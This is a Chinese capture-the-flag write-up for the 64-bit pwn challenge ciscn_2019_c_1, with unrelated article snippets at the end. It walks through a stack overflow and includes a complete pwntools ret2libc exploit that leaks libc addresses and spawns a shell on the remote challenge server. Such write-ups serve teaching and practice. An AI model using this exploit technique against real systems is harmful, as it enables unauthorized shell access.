ciscn_2019_c_1

摘要:
0x01检查文件,64位检查开启的保护情况开启了NX保护0x02IDA静态分析在主函数这里并没有常见的gets栈溢出,尝试再这里面的子函数找找,发现了encrypt函数,进去查看发现这个变量x的自增是有空间大小限制的,猜测这里会出现栈溢出漏洞,写出exp尝试溢出0x03exp:frompwnimport*fromLibcSearcherimport*content=0context(os='lin
0x01

检查文件,64位

ciscn_2019_c_1第1张

检查开启的保护情况

ciscn_2019_c_1第2张

开启了NX保护

0x02

IDA静态分析

ciscn_2019_c_1第3张

在主函数这里并没有常见的gets栈溢出,尝试再这里面的子函数找找,发现了encrypt函数,进去查看

ciscn_2019_c_1第4张

发现这个变量x的自增是有空间大小限制的,猜测这里会出现栈溢出漏洞,写出exp尝试溢出

0x03

exp:

from pwn import *
from LibcSearcher import *

content = 0
context(os='linux', arch='amd64', log_level='debug')

ret = 0x4006b9      #靶机是ubuntu,所以需要栈平衡
elf = ELF('ciscn_2019_c_1')

puts_plt = elf.plt["puts"] 
puts_got = elf.got['puts']
main_addr = elf.symbols["main"]

pop_rdi_ret = 0x400c83      #×64程序基本都存在的一个地址pop rdi;ret


def main():
	if content == 1:
		p = process('ciscn_2019_c_1')
	else:	
		p = remote('node3.buuoj.cn',25655)

	payload = b'a' * (0x50 + 8)
	payload = payload + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
	#print(payload)

	p.sendlineafter('Input your choice!
', '1')
	p.sendlineafter('Input your Plaintext to be encrypted
', payload)

	p.recvuntil('Ciphertext
')	
	p.recvline()
	puts_addr = u64(p.recv(7)[:-1].ljust(8,b'x00'))
	print(puts_addr)      #找出puts的地址

	libc = LibcSearcher('puts', puts_addr)

	libc_base   = puts_addr - libc.dump('puts')      #找出函数地址偏移量
	system_addr = libc_base + libc.dump('system')      #计算出system的在程序中的地址
	binsh_addr  = libc_base + libc.dump('str_bin_sh')	

	payload = b'a' * (0x50 + 8)
	payload = payload + p64(ret) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)

	p.sendlineafter('Input your choice!
', '1')
	p.sendlineafter('Input your Plaintext to be encrypted
', payload)

	p.interactive()

main()

执行结果:

ciscn_2019_c_1第5张

拿到flag

免责声明:文章转载自《ciscn_2019_c_1》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇jmeter使用复习【整理】unity3d优化总结篇下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

Toolbar 工具栏 菜单 标题栏 Menu

要使用Toolbar,要先将标题栏(ActionBar)关掉; style.xml中:<style name="MainActivityTheme" parent="Theme.AppCompat.Light.NoActionBar"/>AndroidManifest.xml中:<activity android:name=".MainA...

问题:C#控制台程序参数;结果:设置与读取C#控制台应用程序Main函数中的参数args

设置与读取C#控制台应用程序Main函数中的参数args在项目属性面版->调试->命令行参数设置。空格分隔。读取:string[] str = Environment.GetCommandLineArgs(); Main函数是C#应用程序的入口点,Main函数可以有四种签名,分别如下: static void Main() static vo...

C++解析(30):关于指针判别、构造异常和模板二义性的疑问

0.目录 1.指针的判别 2.构造中的异常 2.1 如果构造函数中抛出异常会发生什么? 2.2 如果析构函数中抛出异常会发生什么? 3.令人迷惑的写法 3.1 模板中的二义性 3.2 函数异常声明 4.小结 1.指针的判别 面试问题:编写程序判断一个变量是不是指针。 指针的判别:拾遗: C++中仍然支持C语言中的可变参数函数 C...

Python multiprocessing使用详解

multiprocessing包是Python中的多进程管理包。与threading.Thread类似,它可以利用multiprocessing.Process对象来创建一个进程。该进程可以运行在Python程序内部编写的函数。该Process对象与Thread对象的用法相同,也有start(), run(), join()的方法。此外multiproc...

接口与委托

在接口中可以声明方法、属性、索引指示器和事件,接口中并不提供它们的实现。因此接口是函数成员声明的集合。如果类或结构从一个接口派生,则这个类或结构负责实现该接口中所声明的所有函数成员。一个接口可以继承多个接口,而一个类或结构可以实现多个接口。由于C#语言不支持多继承,因此,如果某个类需要继承多个类的行为时,只能使用多个接口加以说明。 委托类型,在功能上它类...

C#学习笔记(五)——函数

一、定义和使用函数。        直接通过例子进行说明吧 class Program { static void Write() { Console.WriteLine("Test output from function"); } stati...